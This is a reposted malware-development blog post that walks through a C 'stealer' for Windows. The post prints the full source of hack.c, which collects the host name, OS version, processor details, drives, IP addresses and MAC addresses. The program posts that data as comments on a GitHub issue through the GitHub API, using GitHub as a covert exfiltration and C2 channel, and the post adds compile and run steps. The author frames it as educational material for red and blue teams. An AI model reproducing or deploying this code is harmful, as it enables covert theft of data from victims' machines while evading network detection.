Malware development trick 44: Stealing data via legit GitHub API. Simple C example

Post a Comment

Introduction to Malware Binary Triage (IMBT) Course

Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.

Enroll Now and Save 10%: Coupon Code MWNEWS10

Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.

Hello, cybersecurity enthusiasts and white hackers!

malware

In the previous examples we created a simple Proof of Concept of using legit connections via Telegram Bot API, VirusTotal API and Discord Bot API for “stealing” simplest information from victim’s Windows machine.

What about next legit application: GitHub and it’s GitHub API feature?

practical example

Many of yours may think that I am simply copying the same code, please note that this is only for understanding the concepts. First of all create Github issue. I just used my ejpt repo:

malware

New issue called Meow in my case.

malware

https://github.com/cocomelonc/ejpt/issues/1

At the next step, we need to generate a classic token for our app. So, according to the Github settings page, we just create new token "meow2":

malware

So, first of all, define GitHub credentials and target repository details to our code:

#define GITHUB_TOKEN "github_classic_token_here" // your token here
#define REPO_OWNER "cocomelonc"
#define REPO_NAME "ejpt"
#define ISSUE_NUMBER "1" // issue num

Then, built a GitHub-specific URL to post a comment on an issue, added a Bearer token header using a GitHub personal access token and constructed the request body to match the GitHub API format for creating issue comments logic:

// send data to GitHub using winhttp
int sendToGitHub(const char* comment) {
  HINTERNET hSession = NULL;
  HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, “WinHttpOpen. error: %d has occurred.\n”, GetLastError());
return 1;
}


hConnect = WinHttpConnect(hSession, L"api.github.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, “WinHttpConnect. error: %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}


WCHAR url[256];
swprintf(url, 256, L"/repos/%s/%s/issues/%s/comments", REPO_OWNER, REPO_NAME, ISSUE_NUMBER);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", url, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, “WinHttpOpenRequest. error: %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}


// construct the request body
char json_body[1024];
snprintf(json_body, sizeof(json_body), “{"body": "%s"}”, comment);


// set the headers
WCHAR headers[512];
swprintf(headers, 512, L"Authorization: Bearer %s\r\nUser-Agent: hack-client\r\nContent-Type: application/json\r\n", GITHUB_TOKEN);


if (!WinHttpSendRequest(hRequest, headers, -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, “WinHttpSendRequest. error %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}


BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, “WinHttpReceiveResponse. error %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}


DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
if (code == 201) {
printf(“comment posted successfully.\n”);
} else {
printf(“failed to post comment. HTTP Status Code: %d\n”, code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf(“unknown error: %s\n”, buffer);
LocalFree(buffer);
}


WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);


return 0;
}

Here, I used the REST API to manage comments on issues and pull requests

The full source of our simple stealer is looks like this (hack.c):

/*
 * hack.c
 * sending systeminfo via legit URL. GitHub API
 * author @cocomelonc
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>

#define GITHUB_TOKEN “github_classic_token_here”
#define REPO_OWNER “your_github_username”
#define REPO_NAME “your_repo_name”
#define ISSUE_NUMBER “1”


// send data to GitHub using winhttp
int sendToGitHub(const char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;


hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, “WinHttpOpen. error: %d has occurred.\n”, GetLastError());
return 1;
}


hConnect = WinHttpConnect(hSession, L"api.github.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, “WinHttpConnect. error: %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}


WCHAR url[256];
swprintf(url, 256, L"/repos/%s/%s/issues/%s/comments", REPO_OWNER, REPO_NAME, ISSUE_NUMBER);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", url, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, “WinHttpOpenRequest. error: %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}


// construct the request body
char json_body[1024];
snprintf(json_body, sizeof(json_body), “{"body": "%s"}”, comment);


// set the headers
WCHAR headers[512];
swprintf(headers, 512, L"Authorization: Bearer %s\r\nUser-Agent: hack-client\r\nContent-Type: application/json\r\n", GITHUB_TOKEN);


if (!WinHttpSendRequest(hRequest, headers, -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, “WinHttpSendRequest. error %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}


BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, “WinHttpReceiveResponse. error %d has occurred.\n”, GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}


DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
if (code == 201) {
printf(“comment posted successfully.\n”);
} else {
printf(“failed to post comment. HTTP Status Code: %d\n”, code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf(“unknown error: %s\n”, buffer);
LocalFree(buffer);
}


WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);


return 0;
}


// get systeminfo and send as comment via GitHub API logic
int main(int argc, char* argv) {
const char* message = “meow-meow”;
sendToGitHub(message);


char systemInfo[4096];


// Get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size);


// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);


// Get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);


// Get logical drive information
DWORD drives = GetLogicalDrives();


// Get IP address
IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf(“GetAdaptersInfo failed. error: %d has occurred.\n”, GetLastError());
return 1;
}


snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"OS Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);


// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
“MAC Address: %02X-%02X-%02X-%02X-%02X-%02X”,
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}


int result = sendToGitHub(systemInfo);


if (result == 0) {
printf(“ok =^…^=\n”);
} else {
printf(“nok <3()~\n”);
}


return 0;
}

As usually, test via “meow-meow” comment, then send system information.

demo

Let’s check everything in action.

Compile our “stealer” hack.c:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp

malware

And run it on my Windows 11 VM:

.\hack.exe

malware

malware

As you can see, messages posted successfully in our issue.

Run on Windows 10 x64 VM with wireshark:

.\hack.exe

malware

And monitoring traffic via Wireshark we got an IP address 140.82.121.5:

malware
malware

Run whois:

whois 140.82.121.5

malware

As you can see, this is the our GitHub API IP address.

Everything is worked perfectly! =^..^=

As you can see, any API service can be used as a C2 and Github is not the exception. Malware like BitRAT, RecordBreaker and APTs like APT32: OceanLotus uses Github for malicious actions in the wild.

I hope this post with practical example is useful for malware researchers, red teamers, spreads awareness to the blue teamers of this interesting technique.

Using Telegram API example
Using VirusTotal API example
Crowdstrike blog: How Threat Actors Use GitHub Repositories to Deploy Malware
APT32: OceanLotus
CloudSorcerer – A new APT targeting Russian government entities
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Article Link: Malware development trick 44: Stealing data via legit GitHub API. Simple C example. - cocomelonc

1 post - 1 participant

Read full topic



Malware Analysis, News and Indicators - Latest topics
Sp123
"The real threat is actually not when the computer begins to think like a human, but when humans begin to think like computers."

Post a Comment